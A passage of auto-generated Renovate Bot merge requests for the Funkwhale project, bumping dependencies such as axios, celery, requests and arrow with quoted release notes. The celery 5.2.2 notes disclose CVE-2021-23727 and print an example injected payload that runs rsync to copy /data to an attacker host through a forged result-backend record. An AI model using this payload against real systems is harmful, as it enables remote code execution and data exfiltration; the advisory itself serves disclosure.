- Added 'Funding' and 'Say Thanks!' project urls on pypi.
- Stop raising `UserWarning` if `.env` file isn't found. Log a message with
`INFO` log level instead `#​243 <https://github.com/joke2k/django-environ/issues/243>`\_.
### [`v0.6.0`](https://github.com/joke2k/django-environ/blob/HEAD/CHANGELOG.rst#v060---4-September-2021)
[Compare Source](https://github.com/joke2k/django-environ/compare/v0.5.0...v0.6.0)
Added
\+++++
- Python 3.9, 3.10 and pypy 3.7 are now supported.
- Django 3.1 and 3.2 are now supported.
- Added missed classifiers to `setup.py`.
- Accept Python 3.6 path-like objects for `read_env`
`#​106 <https://github.com/joke2k/django-environ/issues/106>`*,
`#​286 <https://github.com/joke2k/django-environ/issues/286>`*.
Fixed
\+++++
- Fixed various code linting errors.
- Fixed typos in the documentation.
- Added missed files to the package contents.
- Fixed `db_url_config` to work the same for all postgres-like schemes
`#​264 <https://github.com/joke2k/django-environ/issues/264>`*,
`#​268 <https://github.com/joke2k/django-environ/issues/268>`*.
Changed
\+++++++
- Refactor tests to use pytest and follow DRY.
- Moved CI to GitHub Actions.
- Restructuring of project documentation.
- Build and test package documentation as a part of CI pipeline.
- Build and test package distribution as a part of CI pipeline.
- Check `MANIFEST.in` in a source package for completeness as a part of CI
pipeline.
- Added `pytest` and `coverage[toml]` to setuptools' `extras_require`.
### [`v0.5.0`](https://github.com/joke2k/django-environ/blob/HEAD/CHANGELOG.rst#v050---30-August-2021)
[Compare Source](https://github.com/joke2k/django-environ/compare/v0.4.5...v0.5.0)
Added
\+++++
- Support for Django 2.1 & 2.2.
- Added tox.ini targets.
- Added secure redis backend URLs via `rediss://`.
- Add `cast=str` to `str()` method.
Fixed
\+++++
- Fixed misspelling in the documentation.
Changed
\+++++++
- Validate empty cache url and invalid cache schema.
- Set `long_description_content_type` in setup.
- Improved Django 1.11 database configuration support.
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1552Update dependency django-cors-headers to v3.11.0 (develop) - autoclosed2022-02-01T21:08:58ZRenovateBotUpdate dependency django-cors-headers to v3.11.0 (develop) - autoclosedThis MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-cors-headers](https://github.com/adamchainz/django-cors-headers) ([changelog](https://github.com/adamchainz/django-cors-headers/blo...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-cors-headers](https://github.com/adamchainz/django-cors-headers) ([changelog](https://github.com/adamchainz/django-cors-headers/blob/main/HISTORY.rst)) | dependencies | minor | `==3.8.0` -> `==3.11.0` |
---
### Release Notes
<details>
<summary>adamchainz/django-cors-headers</summary>
### [`v3.11.0`](https://github.com/adamchainz/django-cors-headers/blob/HEAD/HISTORY.rst#​3110-2022-01-10)
[Compare Source](https://github.com/adamchainz/django-cors-headers/compare/3.10.1...3.11.0)
- Drop Python 3.6 support.
### [`v3.10.1`](https://github.com/adamchainz/django-cors-headers/blob/HEAD/HISTORY.rst#​3101-2021-12-05)
[Compare Source](https://github.com/adamchainz/django-cors-headers/compare/3.10.0...3.10.1)
- Prevent a crash when an invalid `Origin` header is sent.
Thanks to minusf for the report in `Issue #​701 <https://github.com/adamchainz/django-cors-headers/issues/701>`\__.
### [`v3.10.0`](https://github.com/adamchainz/django-cors-headers/blob/HEAD/HISTORY.rst#​3100-2021-10-05)
[Compare Source](https://github.com/adamchainz/django-cors-headers/compare/3.9.0...3.10.0)
- Support Python 3.10.
### [`v3.9.0`](https://github.com/adamchainz/django-cors-headers/blob/HEAD/HISTORY.rst#​390-2021-09-28)
[Compare Source](https://github.com/adamchainz/django-cors-headers/compare/3.8.0...3.9.0)
- Support Django 4.0.
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1550Update dependency axios to v0.25.0 (develop) - autoclosed2022-02-01T21:08:55ZRenovateBotUpdate dependency axios to v0.25.0 (develop) - autoclosedThis MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [axios](https://axios-http.com) ([source](https://github.com/axios/axios)) | dependencies | minor | [`0.21.4` -> `0.25.0`](https://renovate...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [axios](https://axios-http.com) ([source](https://github.com/axios/axios)) | dependencies | minor | [`0.21.4` -> `0.25.0`](https://renovatebot.com/diffs/npm/axios/0.21.4/0.25.0) |
---
### Release Notes
<details>
<summary>axios/axios</summary>
### [`v0.25.0`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#​0250-January-18-2022)
[Compare Source](https://github.com/axios/axios/compare/v0.24.0...v0.25.0)
Breaking changes:
- Fixing maxBodyLength enforcement ([#​3786](https://github.com/axios/axios/pull/3786))
- Don't rely on strict mode behaviour for arguments ([#​3470](https://github.com/axios/axios/pull/3470))
- Adding error handling when missing url ([#​3791](https://github.com/axios/axios/pull/3791))
- Update isAbsoluteURL.js removing escaping of non-special characters ([#​3809](https://github.com/axios/axios/pull/3809))
- Use native Array.isArray() in utils.js ([#​3836](https://github.com/axios/axios/pull/3836))
- Adding error handling inside stream end callback ([#​3967](https://github.com/axios/axios/pull/3967))
Fixes and Functionality:
- Added aborted even handler ([#​3916](https://github.com/axios/axios/pull/3916))
- Header types expanded allowing `boolean` and `number` types ([#​4144](https://github.com/axios/axios/pull/4144))
- Fix cancel signature allowing cancel message to be `undefined` ([#​3153](https://github.com/axios/axios/pull/3153))
- Updated type checks to be formulated better ([#​3342](https://github.com/axios/axios/pull/3342))
- Avoid unnecessary buffer allocations ([#​3321](https://github.com/axios/axios/pull/3321))
- Adding a socket handler to keep TCP connection live when processing long living requests ([#​3422](https://github.com/axios/axios/pull/3422))
- Added toFormData helper function ([#​3757](https://github.com/axios/axios/pull/3757))
- Adding responseEncoding prop type in AxiosRequestConfig ([#​3918](https://github.com/axios/axios/pull/3918))
Internal and Tests:
- Adding axios-test-instance to ecosystem ([#​3786](https://github.com/axios/axios/pull/3786))
- Optimize the logic of isAxiosError ([#​3546](https://github.com/axios/axios/pull/3546))
- Add tests and documentation to display how multiple inceptors work ([#​3564](https://github.com/axios/axios/pull/3564))
- Updating follow-redirects to version 1.14.7 ([#​4379](https://github.com/axios/axios/pull/4379))
Documentation:
- Fixing changelog to show corrext pull request ([#​4219](https://github.com/axios/axios/pull/4219))
- Update upgrade guide for https proxy setting ([#​3604](https://github.com/axios/axios/pull/3604))
Huge thanks to everyone who contributed to this release via code (authors listed below) or via reviews and triaging on GitHub:
- [Jay](mailto:jasonsaayman@gmail.com)
- [Rijk van Zanten](https://github.com/rijkvanzanten)
- [Kohta Ito](https://github.com/koh110)
- [Brandon Faulkner](https://github.com/bfaulk96)
- [Stefano Magni](https://github.com/NoriSte)
- [enofan](https://github.com/fanguangyi)
- [Andrey Pechkurov](https://github.com/puzpuzpuz)
- [Doowonee](https://github.com/doowonee)
- [Emil Broman](https://github.com/emilbroman-eqt)
- [Remco Haszing](https://github.com/remcohaszing)
- [Black-Hole](https://github.com/BlackHole1)
- [Wolfram Kriesing](https://github.com/wolframkriesing)
- [Andrew Ovens](https://github.com/repl-andrew-ovens)
- [Paulo Renato](https://github.com/PauloRSF)
- [Ben Carp](https://github.com/carpben)
- [Hirotaka Tagawa](https://github.com/wafuwafu13)
- [狼族小狈](https://github.com/lzxb)
- [C. Lewis](https://github.com/ctjlewis)
- [Felipe Carvalho](https://github.com/FCarvalhoVII)
- [Daniel](https://github.com/djs113)
- [Gustavo Sales](https://github.com/gussalesdev)
### [`v0.24.0`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#​0240-October-25-2021)
[Compare Source](https://github.com/axios/axios/compare/v0.23.0...v0.24.0)
Breaking changes:
- Revert: change type of AxiosResponse to any, please read lengthy discussion here: ([#​4141](https://github.com/axios/axios/issues/4141)) pull request: ([#​4186](https://github.com/axios/axios/pull/4186))
Huge thanks to everyone who contributed to this release via code (authors listed below) or via reviews and triaging on GitHub:
- [Jay](mailto:jasonsaayman@gmail.com)
- [Rodry](https://github.com/ImRodry)
- [Remco Haszing](https://github.com/remcohaszing)
- [Isaiah Thomason](https://github.com/ITenthusiasm)
### [`v0.23.0`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#​0230-October-12-2021)
[Compare Source](https://github.com/axios/axios/compare/v0.22.0...v0.23.0)
Breaking changes:
- Distinguish request and response data types ([#​4116](https://github.com/axios/axios/pull/4116))
- Change never type to unknown ([#​4142](https://github.com/axios/axios/pull/4142))
- Fixed TransitionalOptions typings ([#​4147](https://github.com/axios/axios/pull/4147))
Fixes and Functionality:
- Adding globalObject: 'this' to webpack config ([#​3176](https://github.com/axios/axios/pull/3176))
- Adding insecureHTTPParser type to AxiosRequestConfig ([#​4066](https://github.com/axios/axios/pull/4066))
- Fix missing semicolon in typings ([#​4115](https://github.com/axios/axios/pull/4115))
- Fix response headers types ([#​4136](https://github.com/axios/axios/pull/4136))
Internal and Tests:
- Improve timeout error when timeout is browser default ([#​3209](https://github.com/axios/axios/pull/3209))
- Fix node version on CI ([#​4069](https://github.com/axios/axios/pull/4069))
- Added testing to TypeScript portion of project ([#​4140](https://github.com/axios/axios/pull/4140))
Documentation:
- Rename Angular to AngularJS ([#​4114](https://github.com/axios/axios/pull/4114))
Huge thanks to everyone who contributed to this release via code (authors listed below) or via reviews and triaging on GitHub:
- [Jay](mailto:jasonsaayman@gmail.com)
- [Evan-Finkelstein](https://github.com/Evan-Finkelstein)
- [Paweł Szymański](https://github.com/Jezorko)
- [Dobes Vandermeer](https://github.com/dobesv)
- [Claas Augner](https://github.com/caugner)
- [Remco Haszing](https://github.com/remcohaszing)
- [Evgeniy](https://github.com/egmen)
- [Dmitriy Mozgovoy](https://github.com/DigitalBrainJS)
### [`v0.22.0`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#​0220-October-01-2021)
[Compare Source](https://github.com/axios/axios/compare/v0.21.4...v0.22.0)
Fixes and Functionality:
- Caseless header comparing in HTTP adapter ([#​2880](https://github.com/axios/axios/pull/2880))
- Avoid package.json import fixing issues and warnings related to this ([#​4041](https://github.com/axios/axios/pull/4041)), ([#​4065](https://github.com/axios/axios/pull/4065))
- Fixed cancelToken leakage and added AbortController support ([#​3305](https://github.com/axios/axios/pull/3305))
- Updating CI to run on release branches
- Bump follow redirects version
- Fixed default transitional config for custom Axios instance; ([#​4052](https://github.com/axios/axios/pull/4052))
Huge thanks to everyone who contributed to this release via code (authors listed below) or via reviews and triaging on GitHub:
- [Jay](mailto:jasonsaayman@gmail.com)
- [Matt R. Wilson](https://github.com/mastermatt)
- [Xianming Zhong](https://github.com/chinesedfan)
- [Dmitriy Mozgovoy](https://github.com/DigitalBrainJS)
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1549Update dependency arrow to v1.2.2 (develop) - autoclosed2022-02-01T21:08:53ZRenovateBotUpdate dependency arrow to v1.2.2 (develop) - autoclosedThis MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [arrow](https://arrow.readthedocs.io) ([source](https://github.com/arrow-py/arrow)) | dependencies | minor | `==1.1.1` -> `==1.2.2` |
---
...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [arrow](https://arrow.readthedocs.io) ([source](https://github.com/arrow-py/arrow)) | dependencies | minor | `==1.1.1` -> `==1.2.2` |
---
### Release Notes
<details>
<summary>arrow-py/arrow</summary>
### [`v1.2.2`](https://github.com/arrow-py/arrow/blob/HEAD/CHANGELOG.rst#​122-2022-01-19)
[Compare Source](https://github.com/arrow-py/arrow/compare/1.2.1...1.2.2)
- \[NEW] Added Kazakh locale.
- \[FIX] The Belarusian, Bulgarian, Czech, Macedonian, Polish, Russian, Slovak and Ukrainian locales now support `dehumanize`.
- \[FIX] Minor bug fixes and improvements to ChineseCN, Indonesian, Norwegian, and Russian locales.
- \[FIX] Expanded testing for multiple locales.
- \[INTERNAL] Started using `xelatex` for pdf generation in documentation.
- \[INTERNAL] Split requirements file into `requirements.txt`, `requirements-docs.txt` and `requirements-tests.txt`.
- \[INTERNAL] Added `flake8-annotations` package for type linting in `pre-commit`.
### [`v1.2.1`](https://github.com/arrow-py/arrow/blob/HEAD/CHANGELOG.rst#​121-2021-10-24)
[Compare Source](https://github.com/arrow-py/arrow/compare/1.2.0...1.2.1)
- \[NEW] Added quarter granularity to humanize, for example:
.. code-block:: python
>>> import arrow
>>> now = arrow.now()
>>> four_month_shift = now.shift(months=4)
>>> now.humanize(four_month_shift, granularity="quarter")
'a quarter ago'
>>> four_month_shift.humanize(now, granularity="quarter")
'in a quarter'
>>> thirteen_month_shift = now.shift(months=13)
>>> thirteen_month_shift.humanize(now, granularity="quarter")
'in 4 quarters'
>>> now.humanize(thirteen_month_shift, granularity="quarter")
'4 quarters ago'
- \[NEW] Added Sinhala and Urdu locales.
- \[NEW] Added official support for Python 3.10.
- \[CHANGED] Updated Azerbaijani, Hebrew, and Serbian locales and added tests.
- \[CHANGED] Passing an empty granularity list to `humanize` now raises a `ValueError`.
### [`v1.2.0`](https://github.com/arrow-py/arrow/blob/HEAD/CHANGELOG.rst#​120-2021-09-12)
[Compare Source](https://github.com/arrow-py/arrow/compare/1.1.1...1.2.0)
- \[NEW] Added Albanian, Tamil and Zulu locales.
- \[NEW] Added support for `Decimal` as input to `arrow.get()`.
- \[FIX] The Estonian, Finnish, Nepali and Zulu locales now support `dehumanize`.
- \[FIX] Improved validation checks when using parser tokens `A` and `hh`.
- \[FIX] Minor bug fixes to Catalan, Cantonese, Greek and Nepali locales.
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1548Update dependency ipython to v8 (develop)2022-11-22T20:05:56ZRenovateBotUpdate dependency ipython to v8 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [ipython](https://ipython.org) ([source](https://github.com/ipython/ipython)) | dependencies | major | `==7.27.0` -> `==8.0.1` |
---
### ...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [ipython](https://ipython.org) ([source](https://github.com/ipython/ipython)) | dependencies | major | `==7.27.0` -> `==8.0.1` |
---
### Release Notes
<details>
<summary>ipython/ipython</summary>
### [`v8.0.1`](https://github.com/ipython/ipython/compare/8.0.0...8.0.1)
[Compare Source](https://github.com/ipython/ipython/compare/8.0.0...8.0.1)
### [`v8.0.0`](https://github.com/ipython/ipython/compare/7.31.1...8.0.0)
[Compare Source](https://github.com/ipython/ipython/compare/7.31.1...8.0.0)
### [`v7.31.1`](https://github.com/ipython/ipython/compare/7.31.0...7.31.1)
[Compare Source](https://github.com/ipython/ipython/compare/7.31.0...7.31.1)
### [`v7.31.0`](https://github.com/ipython/ipython/compare/7.30.1...7.31.0)
[Compare Source](https://github.com/ipython/ipython/compare/7.30.1...7.31.0)
### [`v7.30.1`](https://github.com/ipython/ipython/compare/7.30.0...7.30.1)
[Compare Source](https://github.com/ipython/ipython/compare/7.30.0...7.30.1)
### [`v7.30.0`](https://github.com/ipython/ipython/compare/7.29.0...7.30.0)
[Compare Source](https://github.com/ipython/ipython/compare/7.29.0...7.30.0)
### [`v7.29.0`](https://github.com/ipython/ipython/compare/7.28.0...7.29.0)
[Compare Source](https://github.com/ipython/ipython/compare/7.28.0...7.29.0)
### [`v7.28.0`](https://github.com/ipython/ipython/compare/7.27.0...7.28.0)
[Compare Source](https://github.com/ipython/ipython/compare/7.27.0...7.28.0)
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1544Update dependency django-allauth to v0.47.0 (develop)2022-02-01T16:32:56ZRenovateBotUpdate dependency django-allauth to v0.47.0 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-allauth](https://github.com/pennersr/django-allauth) | dependencies | minor | `==0.42.0` -> `==0.47.0` |
---
### Release Notes
<...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-allauth](https://github.com/pennersr/django-allauth) | dependencies | minor | `==0.42.0` -> `==0.47.0` |
---
### Release Notes
<details>
<summary>pennersr/django-allauth</summary>
### [`v0.47.0`](https://github.com/pennersr/django-allauth/compare/0.46.0...0.47.0)
[Compare Source](https://github.com/pennersr/django-allauth/compare/0.46.0...0.47.0)
### [`v0.46.0`](https://github.com/pennersr/django-allauth/compare/0.45.0...0.46.0)
[Compare Source](https://github.com/pennersr/django-allauth/compare/0.45.0...0.46.0)
### [`v0.45.0`](https://github.com/pennersr/django-allauth/compare/0.44.0...0.45.0)
[Compare Source](https://github.com/pennersr/django-allauth/compare/0.44.0...0.45.0)
### [`v0.44.0`](https://github.com/pennersr/django-allauth/compare/0.43.0...0.44.0)
[Compare Source](https://github.com/pennersr/django-allauth/compare/0.43.0...0.44.0)
### [`v0.43.0`](https://github.com/pennersr/django-allauth/compare/0.42.0...0.43.0)
[Compare Source](https://github.com/pennersr/django-allauth/compare/0.42.0...0.43.0)
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1536Update dependency click to v8 (develop) - autoclosed2022-02-01T10:37:09ZRenovateBotUpdate dependency click to v8 (develop) - autoclosedThis MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [click](https://palletsprojects.com/p/click/) ([changelog](https://click.palletsprojects.com/changes/)) | dependencies | major | `==7.1.2` ...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [click](https://palletsprojects.com/p/click/) ([changelog](https://click.palletsprojects.com/changes/)) | dependencies | major | `==7.1.2` -> `==8.0.3` |
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1515Update dependency celery to v5.2.3 (develop) - autoclosed2022-02-01T10:37:06ZRenovateBotUpdate dependency celery to v5.2.3 (develop) - autoclosedThis MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [celery](http://celeryproject.org) ([source](https://github.com/celery/celery), [changelog](https://docs.celeryproject.org/en/stable/change...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [celery](http://celeryproject.org) ([source](https://github.com/celery/celery), [changelog](https://docs.celeryproject.org/en/stable/changelog.html)) | dependencies | minor | `==5.1.2` -> `==5.2.3` |
---
### Release Notes
<details>
<summary>celery/celery</summary>
### [`v5.2.3`](https://github.com/celery/celery/blob/HEAD/Changelog.rst#​523)
[Compare Source](https://github.com/celery/celery/compare/v5.2.2...v5.2.3)
\=====
:release-date: 2021-12-29 12:00 P.M UTC+6:00
:release-by: Asif Saif Uddin
- Allow redis >= 4.0.2.
- Upgrade minimum required pymongo version to 3.11.1.
- tested pypy3.8 beta ([#​6998](https://github.com/celery/celery/issues/6998)).
- Split Signature.**or** into subclasses' **or** ([#​7135](https://github.com/celery/celery/issues/7135)).
- Prevent duplication in event loop on Consumer restart.
- Restrict setuptools>=59.1.1,<59.7.0.
- Kombu bumped to v5.2.3
- py-amqp bumped to v5.0.9
- Some docs & CI improvements.
.. \_version-5.2.2:
### [`v5.2.2`](https://github.com/celery/celery/blob/HEAD/Changelog.rst#​522)
[Compare Source](https://github.com/celery/celery/compare/v5.2.1...v5.2.2)
\=====
:release-date: 2021-12-26 16:30 P.M UTC+2:00
:release-by: Omer Katz
- Various documentation fixes.
- Fix CVE-2021-23727 (Stored Command Injection security vulnerability).
When a task fails, the failure information is serialized in the backend.
In some cases, the exception class is only importable from the
consumer's code base. In this case, we reconstruct the exception class
so that we can re-raise the error on the process which queried the
task's result. This was introduced in [#​4836](https://github.com/celery/celery/issues/4836).
If the recreated exception type isn't an exception, this is a security issue.
Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
`os.system("rsync /data attacker@192.168.56.100:~/data")`
by setting the task's result to a failure in the result backend with the os,
the system function as the exception type and the payload `rsync /data attacker@192.168.56.100:~/data` as the exception arguments like so:
.. code-block:: python
{
"exc_module": "os",
'exc_type': "system",
"exc_message": "rsync /data attacker@192.168.56.100:~/data"
}
According to my analysis, this vulnerability can only be exploited if
the producer delayed a task which runs long enough for the
attacker to change the result mid-flight, and the producer has
polled for the task's result.
The attacker would also have to gain access to the result backend.
The severity of this security vulnerability is low, but we still
recommend upgrading.
.. \_version-5.2.1:
### [`v5.2.1`](https://github.com/celery/celery/blob/HEAD/Changelog.rst#​521)
[Compare Source](https://github.com/celery/celery/compare/v5.2.0...v5.2.1)
\=====
:release-date: 2021-11-16 8.55 P.M UTC+6:00
:release-by: Asif Saif Uddin
- Fix rstrip usage on bytes instance in ProxyLogger.
- Pass logfile to ExecStop in celery.service example systemd file.
- fix: reduce latency of AsyncResult.get under gevent ([#​7052](https://github.com/celery/celery/issues/7052))
- Limit redis version: <4.0.0.
- Bump min kombu version to 5.2.2.
- Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.
- Remove dependency to case ([#​7077](https://github.com/celery/celery/issues/7077)).
- fix: task expiration is timezone aware if needed ([#​7065](https://github.com/celery/celery/issues/7065)).
- Initial testing of pypy-3.8 beta to CI.
- Docs, CI & tests cleanups.
.. \_version-5.2.0:
### [`v5.2.0`](https://github.com/celery/celery/blob/HEAD/Changelog.rst#​520)
[Compare Source](https://github.com/celery/celery/compare/v5.1.2...v5.2.0)
\=====
:release-date: 2021-11-08 7.15 A.M UTC+6:00
:release-by: Asif Saif Uddin
- Prevent from subscribing to empty channels ([#​7040](https://github.com/celery/celery/issues/7040))
- fix register_task method.
- Fire task failure signal on final reject ([#​6980](https://github.com/celery/celery/issues/6980))
- Limit pymongo version: <3.12.1 ([#​7041](https://github.com/celery/celery/issues/7041))
- Bump min kombu version to 5.2.1
.. \_version-5.2.0rc2:
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1540Update dependency requests to v2.27.1 (develop)2022-02-01T10:11:03ZRenovateBotUpdate dependency requests to v2.27.1 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [requests](https://requests.readthedocs.io) ([source](https://github.com/psf/requests), [changelog](https://github.com/psf/requests/blob/ma...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [requests](https://requests.readthedocs.io) ([source](https://github.com/psf/requests), [changelog](https://github.com/psf/requests/blob/master/HISTORY.md)) | dependencies | minor | `==2.26.0` -> `==2.27.1` |
---
### Release Notes
<details>
<summary>psf/requests</summary>
### [`v2.27.1`](https://github.com/psf/requests/blob/HEAD/HISTORY.md#​2271-2022-01-05)
[Compare Source](https://github.com/psf/requests/compare/v2.27.0...v2.27.1)
**Bugfixes**
- Fixed parsing issue that resulted in the `auth` component being
dropped from proxy URLs. ([#​6028](https://github.com/psf/requests/issues/6028))
### [`v2.27.0`](https://github.com/psf/requests/blob/HEAD/HISTORY.md#​2270-2022-01-03)
[Compare Source](https://github.com/psf/requests/compare/v2.26.0...v2.27.0)
**Improvements**
- Officially added support for Python 3.10. ([#​5928](https://github.com/psf/requests/issues/5928))
- Added a `requests.exceptions.JSONDecodeError` to unify JSON exceptions between
Python 2 and 3. This gets raised in the `response.json()` method, and is
backwards compatible as it inherits from previously thrown exceptions.
Can be caught from `requests.exceptions.RequestException` as well. ([#​5856](https://github.com/psf/requests/issues/5856))
- Improved error text for misnamed `InvalidSchema` and `MissingSchema`
exceptions. This is a temporary fix until exceptions can be renamed
(Schema->Scheme). ([#​6017](https://github.com/psf/requests/issues/6017))
- Improved proxy parsing for proxy URLs missing a scheme. This will address
recent changes to `urlparse` in Python 3.9+. ([#​5917](https://github.com/psf/requests/issues/5917))
**Bugfixes**
- Fixed defect in `extract_zipped_paths` which could result in an infinite loop
for some paths. ([#​5851](https://github.com/psf/requests/issues/5851))
- Fixed handling for `AttributeError` when calculating length of files obtained
by `Tarfile.extractfile()`. ([#​5239](https://github.com/psf/requests/issues/5239))
- Fixed urllib3 exception leak, wrapping `urllib3.exceptions.InvalidHeader` with
`requests.exceptions.InvalidHeader`. ([#​5914](https://github.com/psf/requests/issues/5914))
- Fixed bug where two Host headers were sent for chunked requests. ([#​5391](https://github.com/psf/requests/issues/5391))
- Fixed regression in Requests 2.26.0 where `Proxy-Authorization` was
incorrectly stripped from all requests sent with `Session.send`. ([#​5924](https://github.com/psf/requests/issues/5924))
- Fixed performance regression in 2.26.0 for hosts with a large number of
proxies available in the environment. ([#​5924](https://github.com/psf/requests/issues/5924))
- Fixed idna exception leak, wrapping `UnicodeError` with
`requests.exceptions.InvalidURL` for URLs with a leading dot (.) in the
domain. ([#​5414](https://github.com/psf/requests/issues/5414))
**Deprecations**
- Requests support for Python 2.7 and 3.6 will be ending in 2022. While we
don't have exact dates, Requests 2.27.x is likely to be the last release
series providing support.
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1538Update dependency arrow to v1.2.2 (develop)2022-02-01T10:06:40ZRenovateBotUpdate dependency arrow to v1.2.2 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [arrow](https://arrow.readthedocs.io) ([source](https://github.com/arrow-py/arrow)) | dependencies | minor | `==1.1.1` -> `==1.2.2` |
---
...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [arrow](https://arrow.readthedocs.io) ([source](https://github.com/arrow-py/arrow)) | dependencies | minor | `==1.1.1` -> `==1.2.2` |
---
### Release Notes
<details>
<summary>arrow-py/arrow</summary>
### [`v1.2.2`](https://github.com/arrow-py/arrow/blob/HEAD/CHANGELOG.rst#​122-2022-01-19)
[Compare Source](https://github.com/arrow-py/arrow/compare/1.2.1...1.2.2)
- \[NEW] Added Kazakh locale.
- \[FIX] The Belarusian, Bulgarian, Czech, Macedonian, Polish, Russian, Slovak and Ukrainian locales now support `dehumanize`.
- \[FIX] Minor bug fixes and improvements to ChineseCN, Indonesian, Norwegian, and Russian locales.
- \[FIX] Expanded testing for multiple locales.
- \[INTERNAL] Started using `xelatex` for pdf generation in documentation.
- \[INTERNAL] Split requirements file into `requirements.txt`, `requirements-docs.txt` and `requirements-tests.txt`.
- \[INTERNAL] Added `flake8-annotations` package for type linting in `pre-commit`.
### [`v1.2.1`](https://github.com/arrow-py/arrow/blob/HEAD/CHANGELOG.rst#​121-2021-10-24)
